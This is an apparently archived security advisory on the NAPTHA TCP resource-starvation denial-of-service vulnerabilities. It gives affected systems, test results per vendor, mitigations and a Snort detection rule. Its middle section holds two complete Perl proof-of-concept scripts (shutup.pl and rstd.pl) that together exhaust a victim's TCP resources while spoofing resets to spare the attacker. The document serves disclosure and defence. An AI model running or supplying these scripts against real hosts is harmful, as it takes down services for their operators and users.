COMMAND
naptha
SYSTEMS AFFECTED
naptha
PROBLEM
Basically, it will leave a TCP connection on the target machine
in a "certain state." The method discovered will exhaust
resources on the target machine, whereas the originating machine
will not be affected that greatly. Before such attacks were
infeasible because the originating machine would also be affected.
The target machine can be starved of resources to the point of
failure.
Some affected operating systems:
* Novell's Netware 5.0 with sp1 (Will not recover)
* Linux (2.2.x .. others ?) (Unknown.. can recover sometimes?)
* FreeBSD 4.0-REL (Can recover in short period)
* Possibly others.. it is a rather widespread problem.
Unaffected operating systems:
* OpenBSD seems to be unaffected
* Windows 2000 seems to be unaffected
For more information on NAPTHA visit:
http://razor.bindview.com/publish/advisories/adv_NAPTHA.html
A set of network DoS vulnerabilities has been discovered, and the
name NAPTHA is being used to describe them as a group. The
NAPTHA vulnerabilities are weaknesses in the way that TCP/IP
stacks and network applications handle the state of a TCP
connection.
By creating a suitably large number of TCP connections and leaving
them in certain states, individual applications or the operating
system itself can be starved of resources to the point of failure.
In the past, attacks that would exploit TCP connections in this
manner have not been implemented because they would typically
exhaust the resources of the attacker as well. The innovation
provided by the Naptha attack is that it is possible to easily
create a DoS on the target with little resource consumption on
the part of the attacker.
DoS
A denial of service attack is a purposeful action to
significantly degrade the quality and/or availability of
services a system offers.
DoS->RS
Resource Starvation is a type of denial of service attack.
Here is where we need to define the difference between an
attack and a notable vulnerability. With sufficient network
resources available to the attacker, any system is vulnerable
to DoS->RS.
What makes a method of DoS->RS notable is that it consumes far
more resources of the victim than resources of the attacker.
A great difference in resource levels indicate a vulnerability
in the victim's system. The software designed to expose this
vulnerability can be called a DoS->RS exploit.
DoS->RS->TCP_STATE
The kernel keeps a record for every TCP connection. A large
number of connections, regardless of activity, require more
memory and CPU time. It is theoretically possible for a user
on a machine with a large amount of RAM, a fast processor,
and a well-tuned operating system to overwhelm a lesser system
solely by using such standard programs as TELNET, however the
amount of resources consumed on the attacking system is large
enough so that this is not considered a serious vulnerability.
An attack program utilizing a network API such as Berkeley
Sockets is more efficient and therefore more dangerous, but
is not usually efficient enough expose a dangerous
vulnerability on the victim's system.
Naptha is a demonstration of an efficient DoS->RS->TCP_STATE
exploit. It is efficient because it does not use a traditional
network API to set up a TCP connection. Unlike a real TCP/IP
stack, it does not keep any record of connection state. It
responds to a packet sent to it based on the flags in that packet
alone. When operated in a manner that will produce many hundreds
or thousands of connection records on the victim, it consumes
very little of the attacker's resources in comparison to the
resources it uses up on the victim's system. In this way, it can
expose vulnerabilities of a particular service, or the TCP/IP
stack itself, on the victim's system.
Below are a few examples of the many possible Naptha weaknesses:
- Novell's Netware 5.0 with sp1 installed locked up after 3000
open connections on port 524. All 64MB of the system's RAM
became utilized and the CPU utilization as well maxed out at
100%. The server still had not timed out connections and
recovered memory after 12 hours being left idle.
- FreeBSD 4.0-REL became unusable after 495 connections to the ssh
port. Each connection started an instance of the daemon which
quickly exhausted available file handles; the system reports
"too many open files in system". After approximately 30 minutes
the connections start timing out and the system becomes usable
again.
See the complete list of tested products in SOLUTION section.
The objective of this section is to describe the basic structure
of the Naptha attack so that researchers can verify our claim
that such an attack is possible and should be considered with all
due seriousness.
While there has been some previous work in this area, no one has
published or demonstrated a tool that can leave connections in
any of the various TCP states on the victim machine (ESTABLISHED
and FIN-WAIT-1, etc.) or that has a multi-component architecture
(allowing one to hide part of the attack on different hosts).
Naptha gains much of its effectiveness through the fact that the
attack can be made in a distributed manner.
The first part sends out a sequence of SYN packets from all
possible ports of a forged IP address to the victim. Depending on
the requirements of the individual attack scenario, multiple
copies of this program on the same host could be used to attack
different hosts, or multiple hosts could attack a single victim.
This sounds like a SYN flood, but there's more to it.
The second half runs on a LAN where the forged IP address would
be, if it were a real host. The program first makes sure that
the router has an entry for this phantom host in its ARP table.
Next, it listens in promiscuous mode for a packet from the victim
to the phantom host. The program responds with a packet with
the appropriate flags and sequence numbers. Typically, it listens
for SYN/ACK packets and sends ACK. It could also set the FIN flag
and leave the connection in FIN-WAIT-1. To keep connections alive
longer, it can listen for 'regular' data packets or 'keep alive'
packets and send ACK in reply. Multiple victims could be targeted
by a single instance of this program.
This 'phantom' nature makes it hard to track down and eliminate.
In order to be successfully asymmetrical in its consumption of
resources, such an attack program must not set up any TCBs
(Transmission Control Blocks) in the kernel of the attacking
machine. This helps to ensure that the attacker's activities
will not be directly constrained by the client-side kernel
limitations. It is also important that the number of processes
needed on the client side not grow with the number of TCP
connections. Naptha does this by completely avoiding use of the
OS's TCP/IP stack, and instead crafts its own raw packets. In
fact, in a high rate Naptha attack, the network's bandwidth would
typically be the constraint rather than the attacking host's
resources.
Naptha also has connection rate limiting capabilities. In one
variation of the attack, connections are established at a high
rate and the victim is left with thousands of ports open, and all
resources are consumed before the connections time out. In
another scenario, connections are established at a slow rate to
avoid SYN flood protections.
The number of connections and the rate of establishment necessary
to create a DoS is dependent on a number of factors. Different
operating systems have different thresholds of connection
numbers, file numbers, process memory, etc. The application
running on that port may also have its own levels of resource
control. Some applications spawn a new process for each
connection. The speed of the CPU and amount of memory in a
system also affects its resistance to a Naptha attack. Lastly,
the network itself plays its part.
In conclusion, the Naptha attack shows how serious a resource
starvation attack can be. There is no single, clear, obvious fix
for this problem but a number of promising ideas.
The RAZOR team has examined two TCP states out of many. These
states are the FIN-WAIT-1 state and the ESTABLISHED state. More
research in this area is underway. RAZOR expects to find a
majority of operating systems affected to some extent.
Vendor Product Vulnerable? TCP state Patch/Workaround Available? Notes
=======================================================================================================================================
Compaq Tru64 UNIX Yes ESTABLISHED No patch or workaround available at this time See
V4.0F See Recommendations Notes
FreeBSD FreeBSD Yes ESTABLISHED No patch or workaround available at this time See
4.0-REL See Recommendations Notes
Hewlett-Packard HP-UX 11.00 Yes ESTABLISHED No patch or workaround available at this time See
See Recommendations Notes
Microsoft Windows Yes FIN-WAIT-1 Workaround available at See
95,98,98SE http://www.microsoft.com/technet/security/bulletin/MS00-091.asp Notes
Microsoft Windows NT Yes FIN-WAIT-1, Patch available at See
4.0 SP6a ESTABLISHED http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25114 Notes
Microsoft Windows No N/A N/A N/A
2000
Novell Netware 5 Yes ESTABLISHED No patch or workaround available at this time See
SP1 See Recommendations Notes
SGI IRIX 6.5.7m Yes ESTABLISHED No patch or workaround available at this time See
See Recommendations Notes
Sun Solaris 7, Yes ESTABLISHED No patch or workaround available at this time See
8 See Recommendations Notes
Red Hat Red Hat Linux 7 Yes ESTABLISHED No patch or workaround available at this time See
8 See Recommendations Notes
Notes:
Compaq - Tru64 UNIX V4.0F
=========================
Two services were tested, portmapper (tcp port 111) and finger
(tcp port 79). These services were chosen because finger runs
from inetd and portmapper runs without it.
The Tru64 UNIX kernel appears to be somewhat robust against
Naptha attacks. Sending twenty thousand packets to tcp port 111
caused no obvious performance degradation on the Tru64 UNIX host
(except that other attempts to query the portmapper became
unsuccessful). The netstat command showed a steady-state value
of 4100 ESTABLISHED connections.
Sending a few hundred packets to tcp port 79, however, resulted
in creation of too many finger daemon processes for the system to
continue normal operation. Trying to start a new process from a
login shell resulted in the error "No more processes". It is
possible that the finger daemon attack would have been less
effective with a different inetd configuration, or with different
kernel parameters. This was not investigated.
FreeBSD - FreeBSD 4.0-REL
=========================
In testing FreeBSD, a few specific daemons/ports were targeted.
For some, the stability of the system as a whole can be affected.
The daemons targeted in this testing are not necessarily at fault
for the problems encountered.
SSH: Became unusable after 495 connections to the ssh port. Each
connection started an instance of the daemon which quickly
exhausted available file handles; the system reports "too many
open files in system". After approximately 30 minutes the
connections start timing out and the system becomes usable again.
NFS: Stopped functioning after 964 packets to the NFS port.
While the rest of the system did not seem affected, the
connections did not time out.
BIND: Took 961 TCP connections before the kernel reported "file
table is full", and TCP services failed. UDP DNS seemed
unaffected. The system recovered two hours after the attack
stopped.
Note: These services/ports can be similarly affected on other
Linux and UNIX variants.
Hewlett-Packard - HP-UX 11.00
=============================
Two services were tested, portmapper and telnet. These services
were chosen because telnet runs from inetd and portmapper runs
without it.
TELNET: HP-UX appears to have some protection. It stops
responding to Naptha packets after several hundred from the same
IP address. However, until that time it is possible to make
telnetd respond with; "Telnet device drivers missing: No such
device". This does recover fairly quickly, however.
PORTMAPPER: After several hundred Naptha TCP sessions, a telnet
session to port 111 will immediately be disconnected. This broken
state lingers for much longer than the telnet problem.
Microsoft - Windows 95,98,98SE
==============================
Leaving a large number of connections in FIN-WAIT-1 causes the
NetBIOS and WWW services on Microsoft Windows 95, 98, and 98SE to
fail and not restart.
Microsoft - Windows NT 4.0 SP6a
===============================
Exploiting ESTALISHED states on port 139 (netbios-ssn), caused
the service to die after 1010 packets. Port 135 (loc-srv) died
after 7929 packets. Interestingly, if port 139 had been
previously killed by Naptha, port 135 died after two packets. If
the Naptha attack was paused, port 135 would recover but be
immediately unavailable if the Naptha attack was resumed. When
port 135 died, the CPU utilization would eventually jump to 100%
and remain there until a reboot.
Leaving a large number of connections in FIN-WAIT-1 causes the
NetBIOS and WWW services on Microsoft Windows NT 4.0 to fail and
not restart.
Novell - Netware 5 SP1
======================
Locked up after 3000 open connections on port 524, utilized all
64MB of the system's RAM, and CPU utilization became 100%. The
server still had not timed out connections and recovered memory
after 12 hours being left idle.
SGI - IRIX 6.5.7m
=================
Two services were tested, portmapper (tcp port 111) and sgi-dgl
(tcp port 5232). These services were chosen because sgi-dgl runs
from inetd and portmapper runs without it.
The IRIX kernel appears to be somewhat robust against Naptha
attacks. Sending twenty thousand packets to tcp port 111 caused
no obvious performance degradation on the IRIX host (except that
other attempts to query the portmapper became unsuccessful). The
netstat command showed a steady-state value of 195 ESTABLISHED
connections.
Sending a few hundred packets to tcp port 5232, however, resulted
in creation of too many dgl daemon processes for the system to
continue normal operation. Trying to start a new process from a
login shell resulted in the error "No more processes". It is
possible that the dgl daemon attack would have been less
effective with a different inetd configuration, or with different
kernel parameters. This was not investigated.
Sun - Solaris 7, 8
==================
Two services were tested, portmapper and telnet. These services
were chosen because telnet runs from inetd and portmapper runs
without it.
TELNET: At around 700 Naptha TCP sessions, a telnet session will
be connected but then gets the message "can't grant slave pty"
and is disconnected. At 1700 Naptha TCP sessions, a telnet
session will be connected but nothing else happens. This is not
confined to the telnet port, it effects every port. If the Naptha
attack is stopped, eventually telnet will recover. How long it is
broken is dependant on the speed and length of the Naptha assault
and other factors. A typical downtime was an hour.
PORTMAPPER: At around 300 Naptha TCP sessions, a telnet session
to port 111 is immediately disconnected (normally, this is
disconnected when a user hit the enter key). This fault does not
effect other services. Downtime variable but typically two hours.
Red Hat Linux 7.0
=================
The use of xinetd in this version of Red Hat does help minimize
the affects of a Naptha attack. However, not all services are
run from xinetd. Only 330 Naptha sessions to sendmail were
neccessary to cause memory exhaustion of a 128MB system. The VM
would start killing processes, but often not the correct
(sendmail) ones. Eventually VM would destroy enough bogus
sendmail processes to get enough free memory, but had often
killed a lot of other, legitimate and crucial processes.
Continuing the naptha attack, even at a low rate (even 1
connection per second) keeps the system unusable.
Work-around: run as many services as is practical from xinetd.
Simple Nomad added following. Several questions have been raised
about various OSes and how they are impacted. When testing, RAZOR
would use default installations. Now maybe this might not make
sense, but Bob Keyes (the NAPTHA developer) as well as the rest
of the team felt like this was a TCP/IP stack issue more than a
daemon or service issue. For example, a plain old default loading
of Win2K was not vulnerable to a NAPTHA attack regardless of TCP
port targeted, but NT was.
The question raised about why Red Hat 7 seems ok but Red Hat 6.x
is vulnerable could probably be accounted for by two things --
first, xinetd is used by default on RH7 and not RH6, second,
there are different kernels and settings used between RH7 and RH6
which might have an impact between the two platforms.
Unfortunately Microsoft said that NAPTHA was sending malformed
packets, which it really isn't (or if it is from Microsoft's
perspective, that's not the trick). NAPTHA is establishing a
three-way handshake -- not just the regular attempt at a
connection flood which uses up resources on both the attacker's
and target's systems -- and handles the arp requests as well. By
spoofing with a non-existent address on the local net and making
sure the arp requests are handled as well, a *complete* three way
handshake occurs (at least complete in the way that everything
gets crossed T's and dotted I's). Not new in theory, but
certainly new in implementation. And the implementation is much
more severe than previously theorized.
Forging just the TCP packets will work to a certain extent,
forging the generated arp requests as well will cause much more
effective and quicker resource depletion. Straight out of the
compile, NAPTHA works extremely well -- RAZOR found that 3wahas
required a few arp trick to really get the thing to work
effectively. (BTW if you download 3wahas, add "libnet_" to all
the call you get an error on and the code should compile, it was
written with an older version of libnet).
While working on the analyze of the Naptha advisory HSC Security
Research Labs found a lot of ways to deny a remote server by TCP
resource starvation. They have done a proof of concept (with
anti-script-kiddies) in order to show how it is possible to deny
of service tcp servers remotely such as:
- IIS-5 on Win2000 : Vulnerable
- IIS-4 on WinNT : Vulnerable
- sshd on FreeBSD : Vulnerable
- sshd on Linux : Vulnerable
- and so on ...
This attack can be launched from several sources (such as ddos
infected computers or else) and use a very specific RESET server.
On the compromised computers the script shutup.pl must run. On
the reset server the script rstd.pl must run (these scripts are
given below). shutup.pl opens a lot of tcp connections on the
remote victim (syn, syn|ack, ack) without closing these
connections. This kind of attack usually consumes resources on
both sides: the victim and the attacker, and e-business no days
have, most of the time, more CPU and more memory that personal
laptop.
In order to consume resources on the victim ONLY and deny it,
they used a reset server to close the connection on the attacker
side.
Attacker(i) -------- SYN --------> Victim
Attacker(i) <------ SYN|ACK ------ Victim
Attacker(i) -------- ACK --------> Victim
Attacker(i) -------- RESET Request ----------> Reset Server
Attacker(i) <-------- RESET ------------------ Reset Server
Attacker(i) -------- SYN --------> Victim
and so on ...
* Reset Server (rstd.pl)
This code is a UDP demon waiting for UDP datagram. The payload
of these datagrams contains the IP address of the attacker, the
IP address of the victim, the source and destination port and
the ack sequence number of the last ACK. It spoof a reset
segment from the victim to the attacker.
Usage: ./rstd.pl
* Main Script (shutup.pl)
This code will connect to a TCP port on the remote system.
After the tcp 3-way handshake, it request a reset to the reset
server to destroy the socket and free the resource on the
attacker side.
Usage: ./shutup.pl <attacker> <victim> <port> <resetserver> <udp-port>
There are several different ways to implement such attacks. This
one allow to use several computers on different networks. Napta
DOS seems to need two computers on the same network.
Codes:
--[ shutup.pl ]-----------------------------------------------------------
#!/usr/bin/perl
#
# -=- PROOF OF CONCEPT -=-
# -=- This code includes several anti-script-kiddies ! -=-
#
# Remote DOS by TCP Resource Starvation Exploit
#
# Stephane Aubert <Stephane.Aubert@hsc.fr>
# HSC Security Research Labs
# Hervé Schauer Consultants
#
# THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL
# WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING
# WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
use IO::Socket;
use Net::RawIP;
my $attack = shift || 'localhost';
my $victim = shift || 'localhost';
my $port = shift || '80';
my $UDPserver = shift || 'localhost';
my $UDPport = shift || 5151;
my $verbose = 1;
$b = new Net::RawIP;
$a = new Net::RawIP;
$pcap=$a->pcapinit("eth0","proto \\tcp and src host $attack and \
dst host $victim and port $port and \
tcp[13] & 16 != 0 and tcp[13] & 2 == 0",1500,30);
if( fork() ) {
loop $pcap,-1,\&dumpit,\@a;
} else {
while( 1 ) {
my $sock = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $victim,
PeerPort => $port);
unless ($sock) { print "Oops, cannot connect to $port/tcp on $victim\n"}
select(undef, undef, undef, 0.25);
close( $sock );
}
}
### functions ############################################################
sub dumpit {
$a->bset(substr($_[2],14));
my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,
$daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,
$ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
$a->get({
ip=>['version','ihl','tos','tot_len','id','frag_off',
'ttl','protocol','check','saddr','daddr'],
tcp=>[ 'source','dest','seq','ack_seq','doff','res1',
'res2','urg','ack','psh','rst','syn','fin',
'window','check','data']});
printf "ACK: from %s:%d to %s:%d seq:0x%x ack:0x%x %s%s%s%s%s%s\n",
&ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$seq,$aseq,
($syn?'S':'-'), ($ack?'A':'-'), ($fin?'F':'-'),
($rst?'R':'-'), ($psh?'P':'-'), ($urg?'U':'-');
printf "Send UDP to $UDPserver on $UDPport/udp : [%s:%d:%s:%d:ack=0x%x]\n",
&ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$aseq
if($verbose);
$sock = IO::Socket::INET->new( Proto => 'udp',
PeerPort => $UDPport,
PeerAddr => $UDPserver)
or print "## error creating socket: $!\n";
$msg = '';
$msg .= pack( "N5", $saddr, $daddr, $sport, $dport, $aseq );
$sock->send($msg) or print "## error sending UDP request !\n";
};
sub ip2dot {
sprintf("%u.%u.%u.%u", unpack "C4", pack "N1", shift);
}
### END ##################################################################
--[ rstd.pl ]-------------------------------------------------------------
#!/usr/bin/perl
#
# -=- PROOF OF CONCEPT -=-
# -=- This code includes several anti-script-kiddies ! -=-
# -=-
# Reset server
#
# Stephane Aubert <Stephane.Aubert@hsc.fr>
# HSC Security Research Labs
# Hervé Schauer Consultants
#
# THIS SOFTWARE IS MADE AVAILABLE "AS IS", AND THE AUTHOR DISCLAIMS ALL
# WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING
# WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
# FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER
# RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
# CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
use IO::Socket;
use Net::RawIP;
$b = new Net::RawIP;
my $maxlen = 1024;
my $verbose = 1;
my $listenport = shift || 5151;
my $sock = IO::Socket::INET->new(LocalPort => $listenport, Proto => 'udp')
or die "socket: $@";
print "Starting RESET UDP serveur on port $listenport\n"
if($verbose);
my $newmsg = '';
while ($sock->recv($newmsg, $maxlen)) {
my($port, $ipaddr) = sockaddr_in($sock->peername);
$hishost = gethostbyaddr($ipaddr, AF_INET);
my( $saddr, $daddr, $sport, $dport, $aseq ) = unpack("N5", $newmsg );
printf "Received UDP from $hishost : [%s:%d:%s:%d:ack=0x%x]\n",
&ip2dot($saddr),$sport,&ip2dot($daddr),$dport,$aseq
if($verbose);
$b->set({
ip =>{
saddr=>$saddr, daddr=>$daddr
},
tcp => {
dest => $dport, source => $sport,
rst => '1', ack => '0', psh => '1', fin => '0',
seq => $aseq, ack_seq => 0, window => 0,
}
});
$b->send();
}
die "recv: $!";
sub ip2dot {
sprintf("%u.%u.%u.%u", unpack "C4", pack "N1", shift);
}
Version 1.1 was the original version sent to vendors. Someone
leaked this PS:
http://packetstorm.securify.com/filedesc/naptha-1.1.html
SOLUTION
Unfortunately, most vendors are vulnerable to Naptha attacks, and
until some vendor patches come out, there is very little that can
be done outside of normal security practices. There are few
recommendations:
1. Limit the amount of services running on any system you suspect
that might become victim to a Naptha attack, especially public
systems.
2. Limit access as to who can connect to exposed TCP ports on a
system via firewalling techniques. On public systems this may
be impractical, but it should be limited just the same if
possible.
3. Ensure that all border equipment, such as routers and firewalls,
is properly configured and you are doing both ingress and egress
filtering. (See RFC 2267)
4. On Unix systems, use inetd or possibly Dan Bernstein's
tcpserver (http://cr.yp.to/ucspi-tcp.html) to limit spawned
daemon processes. While this will not prevent that particular
daemon's resources from being over utilized, it is possible to
prevent daemons from crashing the server. This may allow the
server to recover.
5. On systems that have adjustments for various TCP timeouts and
keepalives, these can be adjusted to potentially allow for
quicker recovery (assuming that the Naptha attack did not crash
the system). For example, the TCP keepalive settings on Linux
2.2 kernels might help recovery time:
# cat /proc/sys/net/ipv4/tcp_keepalive_time
7200
# cat /proc/sys/net/ipv4/tcp_keepalive_probes
9
# cat /proc/sys/net/ipv4/tcp_max_ka_probes
5
# echo 30 > /proc/sys/net/ipv4/tcp_keepalive_time
# echo 2 > /proc/sys/net/ipv4/tcp_keepalive_probes
# echo 100 > /proc/sys/net/ipv4/tcp_max_ka_probes
In the above example the keepalive time is adjusted from 2
hours to 30 seconds, and the number of keepalive probes is
adjusted from 9 to 2. It also adjusts the maximum number of
probes sent out to be 100 instead of just 5. These are
suggested values -- real world adjusts will almost certainly be
required.
6. The programs written to demonstrate the attack have been
released only to the security contacts at OS vendors, through
CERT. The code will not be released to the public. However,
the information below will serve as a 'fingerprint' for IDS to
detect the demonstration code. Please note that the code
itself could be easily modified to change the fingerprint, so
this is NOT a failsafe method of detecting a Naptha attack.
IP:
TOS = Low Delay
ID = 413
TCP:
FLAGS = SYN
SEQ ID = 6060842
WINDOW = 512
Snort (http://www.snort.org) is a free lightweight IDS. Here's
a Snort filter for Naptha:
alert tcp any any <> any any (flags:S; seq: 6060842;
id: 413; msg: "Naptha DoS Attack, see
http://razor.bindview.com//publish/advisories/adv_NAPTHA.html";)
Microsoft Security Patch:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25114
Microsoft says that Windows 9x is affected if File and Printer
sharing is enabled.